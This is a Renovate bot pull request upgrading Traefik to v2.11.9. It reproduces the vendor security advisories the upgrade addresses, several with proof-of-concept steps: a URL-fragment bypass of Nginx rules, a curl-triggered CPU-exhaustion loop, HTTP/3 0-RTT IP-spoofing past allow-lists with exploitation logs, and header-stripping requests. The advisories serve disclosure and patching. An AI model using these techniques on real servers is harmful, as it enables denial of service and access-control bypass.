Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix(deps): update module github.com/traefik/traefik/v2 to v2.11.9 [security] #124

Merged

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Aug 6, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
github.com/traefik/traefik/v2 v2.6.6 -> v2.11.9 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2022-39271

Impact

There is a potential vulnerability in Traefik managing HTTP/2 connections.
A closing HTTP/2 server connection could hang forever because of a subsequent fatal error. This failure mode could be exploited to cause a denial of service.

Patches

Traefik v2.8.x: https://github.com/traefik/traefik/releases/tag/v2.8.8
Traefik v2.9.x: https://github.com/traefik/traefik/releases/tag/v2.9.0-rc5

Workarounds

No workaround.

For more information

If you have any questions or comments about this advisory, please open an issue.

CVE-2022-46153

Impact

There is a potential vulnerability in Traefik managing the TLS connections.

A router configured with a not well-formatted TLSOption is exposed with an empty TLSOption.

For instance, a route secured using an mTLS connection set with a wrong CA file is exposed without verifying the client certificates.

Patches

https://github.com/traefik/traefik/releases/tag/v2.9.6

Workarounds

Check the logs to detect the following error messages and fix your TLS options:

  • Empty CA:
{"level":"error","msg":"invalid clientAuthType: RequireAndVerifyClientCert, CAFiles is required","routerName":"Router0@​file"}
  • Bad CA content (or bad path):
{"level":"error","msg":"invalid certificate(s) content","routerName":"Router0@​file"}
  • Unknown Client Auth Type:
{"level":"error","msg":"unknown client auth type \"FooClientAuthType\"","routerName":"Router0@​file"}
  • Invalid cipherSuites
{"level":"error","msg":"invalid CipherSuite: foobar","routerName":"Router0@​file"}
  • Invalid curvePreferences
{"level":"error","msg":"invalid CurveID in curvePreferences: foobar","routerName":"Router0@​file"}

For more information

If you have any questions or comments about this advisory, please open an issue.

CVE-2022-23469

Impact

There is a potential vulnerability in Traefik displaying the Authorization header in its debug logs.

Traefik uses oxy to provide the following features:

In such cases, if the log level is set to DEBUG, the credentials provided using the Authorization header are displayed in the debug logs:

level=debug msg="vulcand/oxy/roundrobin/rr: completed ServeHttp on request" Request="{\\"Method\\":\\"POST\\",\\"URL\\":{\\"Scheme\\":\\"\\",\\"Opaque\\":\\"\\",\\"User\\":null,\\"Host\\":\\"\\",\\"Path\\":\\"/<redacted>/<redacted>\\",\\"RawPath\\":\\"\\",\\"ForceQuery\\":false,\\"RawQuery\\":\\"\\",\\"Fragment\\":\\"\\",\\"RawFragment\\":\\"\\"},\\"Proto\\":\\"HTTP/2.0\\",\\"ProtoMajor\\":2,\\"ProtoMinor\\":0,\\"Header\\":{\\"Authorization\\":[\\"Bearer <token value was here>\\"],\\"Content-Type\\":[\\"application/grpc\\"],\\"Grpc-Accept-Encoding\\":[\\"gzip\\"],\\"Grpc-Timeout\\":[\\"29999886u\\"],\\"Te\\":[\\"trailers\\"],\\"User-Agent\\":[\\"<redacted>\\"],<remainder of log message removed>

Patches

https://github.com/traefik/traefik/pull/9574
https://github.com/traefik/traefik/releases/tag/v2.9.6

Workarounds

Set the log level to INFO, WARN, or ERROR.

For more information

If you have any questions or comments about this advisory, please open an issue.

CVE-2023-29013

Impact

There is a vulnerability in Go when parsing the HTTP headers, which impacts Traefik.
HTTP header parsing could allocate substantially more memory than required to hold the parsed headers. This behavior could be exploited to cause a denial of service.

References

Patches

Workarounds

No workaround.

For more information

If you have any questions or comments about this advisory, please open an issue.

CVE-2023-47106

Summary

When a request is sent to Traefik with a URL fragment, Traefik automatically URL encodes and forwards the fragment to the backend server. This violates the RFC because in the origin-form the URL should only contain the absolute path and the query.

When this is combined with another frontend proxy like Nginx, it can be used to bypass frontend proxy URI-based access control
restrictions.

Details

For example, we have this Nginx configuration:

location /admin {
     deny all;
     return 403;
}

This can be bypassed when the attacker is requesting to /#/../admin

This won’t be vulnerable if the backend server follows the RFC and ignores any characters after the fragment.

However, if Nginx is chained with another reverse proxy which automatically URL encode the character # (Traefik) the URL will become

/%23/../admin

And allow the attacker to completely bypass the Access Restriction from the Nginx Front-End proxy.

Here is a diagram to summarize the attack:

image

PoC

image (1)

This is the POC docker I've set up. It contains Nginx, Traefik proxies and a backend server running PHP.

https://drive.google.com/file/d/1vLnA0g7N7ZKhLNmHmuJ4JJjV_J2akNMt/view?usp=sharing

Impact

This allows the attacker to completely bypass the Access Restriction from Front-End proxy.

CVE-2023-47124

Impact

There is a potential vulnerability in Traefik managing the ACME HTTP challenge.

When Traefik is configured to use the HTTPChallenge to generate and renew the Let's Encrypt TLS certificates, the delay authorized to solve the challenge (50 seconds) can be exploited by attackers (slowloris attack).

Patches

Workarounds

Replace the HTTPChallenge with the TLSChallenge or the DNSChallenge.

For more information

If you have any questions or comments about this advisory, please open an issue.

CVE-2023-47633

Summary

The traefik docker container uses 100% CPU when it serves as its own backend, which is an automatically generated route resulting from the Docker integration in the default configuration.

Details

While attempting to set up Traefik to handle traffic for Docker containers, I observed in the webUI a rule with the following information:

Host(traefik-service) | webwebsecure | traefik-service@docker | traefik-service

I assumed that this is something internal; however, I wondered why it would have a host rule on the web entrypoint configured.

So I have send a request with that hostname with curl -v --resolve "traefik-service:80:xxx.xxx.xxx.xxx" http://traefik-service. That made my whole server unresponsive.

I assume the name comes from a docker container with that name, traefik itself:

localhost ~ # docker ps
CONTAINER ID   IMAGE                                                   COMMAND                  CREATED             STATUS         PORTS                                                                                                NAMES
d1414e74aec7   traefik:v2.10                                           "/entrypoint.sh trae…"   4 minutes ago       Up 4 minutes   0.0.0.0:80->80/tcp, :::80->80/tcp, 0.0.0.0:443->443/tcp, :::443->443/tcp, 127.0.0.1:8080->8080/tcp   traefik.service

PoC

  1. Start traefik with docker run --rm -v /var/run/docker.sock:/var/run/docker.sock -p 80:80 --name foo -p 8080:8080 traefik:v2.10 --api.insecure=true --providers.docker

  2. curl -v --resolve "foo:80:127.0.0.1" http://foo

looks like this creates an endless loop of request.

Knowing the name of the docker container seems to be enough to trigger this, if the docker backend is used.

Impact

Server is unreachable and uses 100% CPU

CVE-2024-28869

There is a potential vulnerability in Traefik managing requests with Content-length and no body .

Sending a GET request to any Traefik endpoint with the Content-length request header results in an indefinite hang with the default configuration. This vulnerability can be exploited by attackers to induce a denial of service.

Patches

Workarounds

For affected versions, this vulnerability can be mitigated by configuring the readTimeout option.

For more information

If you have any questions or comments about this advisory, please open an issue.

GHSA-7f4j-64p6-5h5v

There is a potential vulnerability in Traefik managing HTTP/2 connections.

More details in the CVE-2023-45288.

Patches

Workarounds

No workaround

For more information

If you have any questions or comments about this advisory, please open an issue.

GHSA-f7cq-5v43-8pwp

Impact

There is a vulnerability in GO managing malformed DNS message, which impacts Traefik.
This vulnerability could be exploited to cause a denial of service.

References

Patches

Workarounds

No workaround.

For more information

If you have any questions or comments about this advisory, please open an issue.

GHSA-7jmw-8259-q9jx

Impact

There is a vulnerability in Go managing various Is methods (IsPrivate, IsLoopback, etc) for IPv4-mapped IPv6 addresses.

They didn't work as expected returning false for addresses which would return true in their traditional IPv4 forms.

References

Patches

Workarounds

No workaround.

For more information

If you have any questions or comments about this advisory, please open an issue.

GHSA-rvj4-q8q5-8grf

Impact

There is a vulnerability in Azure Identity Libraries and Microsoft Authentication Library Elevation of Privilege Vulnerability.

References

Patches

Workarounds

No workaround.

For more information

If you have any questions or comments about this advisory, please open an issue.

CVE-2024-39321

Impact

There is a vulnerability in Traefik that allows bypassing IP allow-lists via HTTP/3 early data requests in QUIC 0-RTT handshakes sent with spoofed IP addresses.

Patches

Workarounds

No workaround.

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description

Summary

Bypassing IP allow-lists in traefik via HTTP/3 early data requests in QUIC 0-RTT handshakes sent with spoofed IP addresses.

Details

HTTP/3 supports sending HTTP requests as early data during QUIC 0-RTT handshakes to reduce RTT overhead for connection resumptions. Early data is sent and received before the handshake is completed and the client's IP address is validated.
The initial packet containing the QUIC 0-RTT handshake information and the early data HTTP request are sent as a single UDP datagram. Due to UDP being used by QUIC, the source IP address can be spoofed. When HTTP/3 servers process early data requests, the application layer only sees the unvalidated - possibly spoofed - IP address.

First, attackers have to obtain a session ticket from the HTTP/3 server. For that, attackers have to establish an HTTP/3 connection to the server - using their real IP address - and wait for the server to send a session ticket. Note that attackers do not have to send an actual HTTP request over the established connection. After obtaining the session ticket, the attacker can close the connection. In the second step, attackers need to prepare a UDP datagram containing a QUIC initial packet with a TLS ClientHello and the session ticket, a QUIC 0-RTT packet with early data encrypted with the pre-shared key from the session ticket, and an HTTP/3 request (open request stream, HEADERS frame, optionally DATA frame). This prepared UDP datagram can then be sent to the server with an arbitrarily spoofed source IP address in the IP packet header. When processing the HTTP request, the server trusts the spoofed IP address, which can be used to bypass IP-allow/block-lists.

A prerequisite for this attack to succeed is that HTTP/3 servers have implemented and enabled 0-RTT early data for HTTP/3 requests (and no mitigations are in place). A caveat is that attackers are not able to receive the server's response because the response is sent to the spoofed source IP address, making it a blind attack. Another limitation is that the request has to fit in a single UDP datagram, whose size is limited by the network path's MTU (minus some bytes for headers of encapsulating protocols such as HTTP/3, QUIC, UDP, IPv4/IPv6).

Impact

IP allow-lists can be bypassed. Early data in QUIC 0-RTT handshakes is enabled when HTTP/3 support is enabled.

Mitigation

  • Consider responding with HTTP status code 425 Too Early when 0-RTT early data requests match ipAllowList.sourceRange middleware. See RFC 8470 Section 3 for more information.
  • Alternatively, delay processing of 0-RTT early data requests until the handshake is completed and the client's IP address is validated when 0-RTT early data requests match ipAllowList.sourceRange middleware.

Additionally, it is recommended to implement RFC 8470 and set the Early-Data: 1 header when forwarding early data requests to backend services. Currently, applications are not able to distinguish between 0-RTT early data requests and regular requests. When applications use the client's IP in X-Forwarded-For headers (e.g. for rate limiting), they are not able to detect potential IP spoofing on the application layer.

Proof of Concept

Traefik is used as a HTTP/3 reverse proxy for a backend application. An IP allow list is configured to only allow access from the IP address 1.3.3.7.

# /etc/traefik/traefik.yml
entryPoints:
  websecure:
    address: ":4439"
    http3: {}
    asDefault: true

providers:
  file:
    filename: /etc/traefik/provider.yml

log:
  level: DEBUG
# /etc/traefik/provider.yml
http:
  routers:
    default:
      rule: "PathPrefix(`/`)"
      tls: {}
      middlewares:
        - ipfilter
      service: backend
  
  middlewares:
    ipfilter:
      ipAllowList:
        sourceRange:
          - "1.3.3.7/32"

  services:
    backend:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8000"

By performing the steps described above, attackers are able to bypass the IP allow list and send requests to the backend application. The security impact depends on the application's logic.

Please find attached a proof-of-concept docker-compose setup to demonstrate the vulnerability. It consists of a traefik reverse proxy, a backend application, and an attacker container. The attack script performs following request:

python3 http3_ip_spoofing.py https://127.0.0.1:4439/cmd -X POST -d "cmd=echo%20worked>>/tmp/spoofed" -H "X-Header: test" --spoofed-ip=1.3.3.7

Note: We use a custom python script because, curl does not support QUIC 0-RTT requests and session resumtion yet.

proof-of-concept.zip

Here are logs of a successful exploitation in the attached docker compose setup:

docker compose up

# Traefik startup logs
h3_traefik-1         | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/cmd/traefik/traefik.go:100 > Traefik version 3.0.3 built on 2024-06-18T14:31:20Z version=3.0.3
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/cmd/traefik/traefik.go:107 > Static configuration loaded [json] staticConfiguration={"entryPoints":{"websecure":{"address":":4439","asDefault":true,"forwardedHeaders":{},"http":{},"http2":{"maxConcurrentStreams":250},"http3":{},"transport":{"lifeCycle":{"graceTimeOut":"10s"},"respondingTimeouts":{"idleTimeout":"3m0s","readTimeout":"1m0s"}},"udp":{"timeout":"3s"}}},"global":{"checkNewVersion":true},"log":{"format":"common","level":"DEBUG"},"providers":{"file":{"filename":"/etc/traefik/provider.yml","watch":true},"providersThrottleDuration":"2s"},"serversTransport":{"maxIdleConnsPerHost":200},"tcpServersTransport":{"dialKeepAlive":"15s","dialTimeout":"30s"}}
h3_traefik-1         | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/cmd/traefik/traefik.go:605 > 
h3_traefik-1         | Stats collection is disabled.
h3_traefik-1         | Help us improve Traefik by turning this feature on :)
h3_traefik-1         | More details on: https://doc.traefik.io/traefik/contributing/data-collection/
h3_traefik-1         | 
h3_traefik-1         | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/pkg/server/configurationwatcher.go:73 > Starting provider aggregator aggregator.ProviderAggregator
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/server_entrypoint_tcp.go:220 > Starting TCP Server entryPointName=websecure
h3_traefik-1         | 2024-06-29T11:52:58Z DBG log/log.go:245 > 2024/06/29 11:52:58 sys_conn.go:36: failed to sufficiently increase receive buffer size (was: 208 kiB, wanted: 2048 kiB, got: 416 kiB). See https://github.com/quic-go/quic-go/wiki/UDP-Buffer-Sizes for details.
h3_traefik-1         | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:202 > Starting provider *file.Provider
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:203 > *file.Provider provider configuration config={"filename":"/etc/traefik/provider.yml","watch":true}
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/file/file.go:122 > add watcher on: /etc/traefik
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/file/file.go:122 > add watcher on: /etc/traefik/provider.yml
h3_traefik-1         | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:202 > Starting provider *traefik.Provider
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:203 > *traefik.Provider provider configuration config={}
h3_traefik-1         | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:202 > Starting provider *acme.ChallengeTLSALPN
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:203 > *acme.ChallengeTLSALPN provider configuration config={}
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/configurationwatcher.go:227 > Configuration received config={"http":{"middlewares":{"ipfilter":{"ipAllowList":{"sourceRange":["1.3.3.7/32"]}}},"routers":{"default":{"middlewares":["ipfilter"],"rule":"PathPrefix(`/`)","service":"backend","tls":{}}},"services":{"backend":{"loadBalancer":{"passHostHeader":true,"responseForwarding":{"flushInterval":"100ms"},"servers":[{"url":"http://127.0.0.1:8000"}]}}}},"tcp":{},"tls":{},"udp":{}} providerName=file
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/configurationwatcher.go:227 > Configuration received config={"http":{"serversTransports":{"default":{"maxIdleConnsPerHost":200}},"services":{"noop":{}}},"tcp":{"serversTransports":{"default":{"dialKeepAlive":"15s","dialTimeout":"30s"}}},"tls":{},"udp":{}} providerName=internal
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/aggregator.go:51 > No entryPoint defined for this router, using the default one(s) instead entryPointName=["websecure"] routerName=default
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/tls/tlsmanager.go:321 > No default certificate, fallback to the internal generated certificate tlsStoreName=default
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/service/service.go:259 > Creating load-balancer entryPointName=websecure routerName=default@file serviceName=backend@file
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/service/service.go:301 > Creating server entryPointName=websecure routerName=default@file serverName=754e0da3b063885a serviceName=backend@file target=http://127.0.0.1:8000
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/middlewares/ipallowlist/ip_allowlist.go:33 > Creating middleware entryPointName=websecure middlewareName=ipfilter@file middlewareType=IPAllowLister routerName=default@file
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/middlewares/ipallowlist/ip_allowlist.go:57 > Setting up IPAllowLister with sourceRange: [1.3.3.7/32] entryPointName=websecure middlewareName=ipfilter@file middlewareType=IPAllowLister routerName=default@file
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/middlewares/observability/middleware.go:33 > Adding tracing to middleware entryPointName=websecure middlewareName=ipfilter@file routerName=default@file
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/middlewares/recovery/recovery.go:22 > Creating middleware entryPointName=websecure middlewareName=traefik-internal-recovery middlewareType=Recover

# Attack script establishes an HTTP/3 connection to traefik to obtain a session ticket
attack-ipspoofing-1  | INFO:client:Initially connecting to server to get a session ticket
attack-ipspoofing-1  | INFO:quic:[e29b2e2fd9a76162] ALPN negotiated protocol h3
attack-ipspoofing-1  | INFO:quic:[e29b2e2fd9a76162] Connection close sent (code 0x0, reason )
attack-ipspoofing-1  | INFO:client:Initial connection done

# Traefik accepts the HTTP/3 connection and issues as session ticket 
h3_traefik-1         | 2024-06-29T11:53:03Z DBG github.com/traefik/traefik/v3/pkg/tls/tlsmanager.go:228 > Serving default certificate for request: ""

# Attack script sends a 0-RTT early data request in a UDP datagram with a spoofed source IP
attack-ipspoofing-1  | INFO:client:Building 0-RTT QUIC packet
attack-ipspoofing-1  | INFO:client:Setting up iptables rule for source IP spoofing
attack-ipspoofing-1  | INFO:client:Sending 0-RTT packet

# Traefik accepts and forwards the request to the backend service, bypassing the IP allow list
h3_traefik-1         | 2024-06-29T11:53:05Z DBG github.com/traefik/traefik/v3/pkg/middlewares/ipallowlist/ip_allowlist.go:85 > Accepting IP 1.3.3.7 middlewareName=ipfilter@file middlewareType=IPAllowLister
h3_traefik-1         | 2024-06-29T11:53:05Z DBG github.com/traefik/traefik/v3/pkg/server/service/loadbalancer/wrr/wrr.go:196 > Service selected by WRR: 754e0da3b063885a

# Backend service receives and processes the request
backend-1            | INFO:root:Request: {"ip": "1.3.3.7", "method": "POST", "path": "/cmd", "data": "cmd=echo%20worked>>/tmp/spoofed", "headers": {"Host": "127.0.0.1:4439", "Content-Length": "31", "Content-Type": "application/x-www-form-urlencoded", "X-Forwarded-For": "1.3.3.7", "X-Forwarded-Host": "127.0.0.1:4439", "X-Forwarded-Port": "4439", "X-Forwarded-Proto": "https", "X-Forwarded-Server": "work", "X-Header": "test", "X-Real-Ip": "1.3.3.7", "Accept-Encoding": "gzip"}}
backend-1            | INFO:root:Executing command: echo worked>>/tmp/spoofed

CVE-2024-45410

Impact

There is a vulnerability in Traefik that allows the client to remove the X-Forwarded headers (except the header X-Forwarded-For).

Patches

Workarounds

No workaround.

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description

Summary

When a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified.

For HTTP/1.1, however, it was found that some of theses custom headers can indeed be removed and in certain cases manipulated. The attack relies on the HTTP/1.1 behavior, that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:

Connection: close, X-Forwarded-Host

Depending on how the receiving application handles such cases, security implications may arise. Moreover, some application frameworks (e.g. Django) first transform the "-" to "_" signs, making it possible for the HTTP client to even modify these headers in these cases.

This is similar to CVE-2022-31813 for Apache HTTP Server.

Details

It was found that the following headers can be removed in this way (i.e. by specifing them within a connection header):

  • X-Forwarded-Host
  • X-Forwarded-Port
  • X-Forwarded-Proto
  • X-Forwarded-Server
  • X-Real-Ip
  • X-Forwarded-Tls-Client-Cert
  • X-Forwarded-Tls-Client-Cert-Info

PoC

The following docker-compose file has been used for a simple setup:

services:
  traefik:
    image: traefik:v3.1
    container_name: traefik
    ports:
      - "443:443"
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock:ro
      - ./traefik.yaml:/etc/traefik/traefik.yaml
      - ./traefik-certs:/certs

  python-http:
    build:
      context: .
      dockerfile: Dockerfile
    container_name: python-http
    labels:
      - "traefik.enable=true"
      - "traefik.http.routers.python-http.rule=Host(`python.example.com`)"
      - "traefik.http.routers.python-http.entrypoints=websecure"
      - "traefik.http.routers.python-http.tls=true"
      - "traefik.http.services.python-http.loadbalancer.server.port=8080"

The following traefik.yaml has been used:

providers:
  docker:
    exposedByDefault: false
    watch: true
  file:
    fileName: /etc/traefik/traefik.yaml
    watch: true

entryPoints:
  websecure:
    address: ":443"

tls:
  certificates:
    - certFile: /certs/server-cert.pem
      keyFile: /certs/server-key.pem

The Python container just includes a simple Python HTTP server that prints the HTTP headers it receives. Here is the Dockerfile for the container:

FROM python:3-alpine

# Copy the Python script to the container
COPY server.py /server.py

# Set the working directory
WORKDIR /

# Command to run the Python server
CMD ["python", "/server.py"]

And here is the Python script:

from http.server import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler):
    def _send_response(self):
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.end_headers()
        self.wfile.write(str(self.headers).encode("utf-8"))

    def do_GET(self):
        self._send_response()

if __name__ == "__main__":
    server = HTTPServer(('0.0.0.0', 8080), RequestHandler)
    print("Server started on port 8080")
    server.serve_forever()

The environment is run with sudo docker-compose up.

A normal HTTP request/response pair looks like this:

Request 1

GET / HTTP/1.1
Host: python.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
Connection: close

Response 1

HTTP/1.1 200 OK
Content-Type: text/plain
Date: Tue, 03 Sep 2024 06:53:49 GMT
Server: BaseHTTP/0.6 Python/3.12.5
Connection: close
Content-Length: 556

Host: python.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
X-Forwarded-For: 172.20.0.1
X-Forwarded-Host: python.example.com
X-Forwarded-Port: 443
X-Forwarded-Proto: https
X-Forwarded-Server: 3138fe4f0a2e
X-Real-Ip: 172.20.0.1

The custom headers added by Traefik can be seen in the response.

Next, a request, where the X-Forwarded-Host header is defined as a hop-by-hop header via the Connection header is sent:

Request 2

GET / HTTP/1.1
Host: python.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
Connection: close, X-Forwarded-Host

Response 2

Host: python.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
X-Forwarded-For: 172.20.0.1
X-Forwarded-Port: 443
X-Forwarded-Proto: https
X-Forwarded-Server: 3138fe4f0a2e
X-Real-Ip: 172.20.0.1

As can be seen from the response, the X-Forwarded-Host header that had been added by Traefik has been removed from the request.

Moreover, the next request/response pair demonstrates that a custom header with underscore instead of hyphen can be added:

Request 3

GET / HTTP/1.1
Host: python.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
X_Forwarded_Host: myhost
Connection: close, X-Forwarded-Host

Response 3

HTTP/1.1 200 OK
Content-Type: text/plain
Date: Tue, 03 Sep 2024 06:54:48 GMT
Server: BaseHTTP/0.6 Python/3.12.5
Connection: close
Content-Length: 544

Host: python.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
X-Forwarded-For: 172.20.0.1
X-Forwarded-Port: 443
X-Forwarded-Proto: https
X-Forwarded-Server: 3138fe4f0a2e
X-Real-Ip: 172.20.0.1
X_forwarded_host: myhost

Some backend frameworks (e.g. Django) handle X-Forwarded-Host and X_forwarded_host in the same way. As there is no X-Forwarded-Host header present in the request, the X_forwarded_host header will be used.

It should be noted that when X-Forwarded-Host is present and a X_forwarded_host header is sent, usually the first occurence of the header will be used, which is in this case X-Forwarded-Host.

It should be noted that the headers X-Forwarded-Tls-Client-Cert and X-Forwarded-Tls-Client-Cert-Info are also affected. Here, client certificate authentication would need to be enabled in the Traefik setup.

Impact

All applications that trust the custom headers set by Traefik are affected by this vulnerability. As an example, assume that a backend application trusts Traefik to validate client certificates and trusts therefore the values that are sent within the X-Forwarded-Tls-Client-Cert header, but does not validate the certificate anew.

If the header is removed via the vulnerability, and the application framework allows for alternative names (e.g. by transforming the headers to lower case, and "-" to "_"), an attacker can place his own X_Forwarded_TLS_Client_Cert header in the request. This could lead to privilege escalation, as the attacker may put an (invalid) certificate in this header that would just be accepted by the application, but may contain other data than the certificate that is presented to Traefik for Client Certificate Authentication.

Moreover, if the backend application uses any of the other custom headers for security-sensitive operations, the removal or modification of these headers may also security implications (e.g. access control bypass).

The severity is the same as for CVE-2022-31813 for Apache HTTP Server, i.e. 9.8 Critical.


Release Notes

traefik/traefik (github.com/traefik/traefik/v2)

v2.11.9

Compare Source

All Commits

Bug fixes:

Documentation:

v2.11.8

Compare Source

All Commits

Bug fixes:

Documentation:

v2.11.7

Compare Source

All Commits

Bug fixes:

Documentation:

v2.11.6

Compare Source

All Commits

Bug fixes:

Documentation:

v2.11.5

Compare Source

All Commits

Bug fixes:

Documentation:

v2.11.4

Compare Source

All Commits

Bug fixes:

Documentation:

v2.11.3

Compare Source

All Commits

Bug fixes:

Documentation:

v2.11.2

Compare Source

All Commits

Bug fixes:

v2.11.1

Compare Source

All Commits

Bug fixes:

  • [middleware,service] Panic on aborted requests to properly close the connection (#​11129 by tonybart1337)

Documentation:

v2.11.0

Compare Source

All Commits

Enhancements:

Bug fixes:

Documentation:

v2.10.7

Compare Source

All Commits

Bug fixes:

v2.10.6

Compare Source

All Commits

Bug fixes:

Documentation:

v2.10.5

[Compare S


Configuration

📅 Schedule: Branch creation - "" in timezone Europe/London, Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Copy link
Contributor Author

renovate bot commented Aug 6, 2024

ℹ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • 13 additional dependencies were updated
  • The go directive was updated for compatibility reasons

Details:

Package Change
go 1.21 -> 1.23.0
github.com/davecgh/go-spew v1.1.1 -> v1.1.2-0.20180830191138-d8f796af33cc
github.com/golang/protobuf v1.5.3 -> v1.5.4
github.com/gorilla/mux v1.8.0 -> v1.8.1
github.com/jonboulle/clockwork v0.2.2 -> v0.4.0
github.com/miekg/dns v1.1.47 -> v1.1.59
github.com/pmezard/go-difflib v1.0.0 -> v1.0.1-0.20181226105442-5d4384ee4fb2
github.com/traefik/paerser v0.1.5 -> v0.2.1
golang.org/x/crypto v0.25.0 -> v0.26.0
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 -> v0.18.0
golang.org/x/sys v0.22.0 -> v0.23.0
golang.org/x/term v0.22.0 -> v0.23.0
golang.org/x/tools v0.1.12 -> v0.22.0
google.golang.org/protobuf v1.31.0 -> v1.33.0

@renovate renovate bot force-pushed the renovate/go-github.com-traefik-traefik-v2-vulnerability branch 2 times, most recently from cbd8efa to 1281725 Compare September 5, 2024 22:27
@renovate renovate bot force-pushed the renovate/go-github.com-traefik-traefik-v2-vulnerability branch from 1281725 to 28d2936 Compare September 19, 2024 16:51
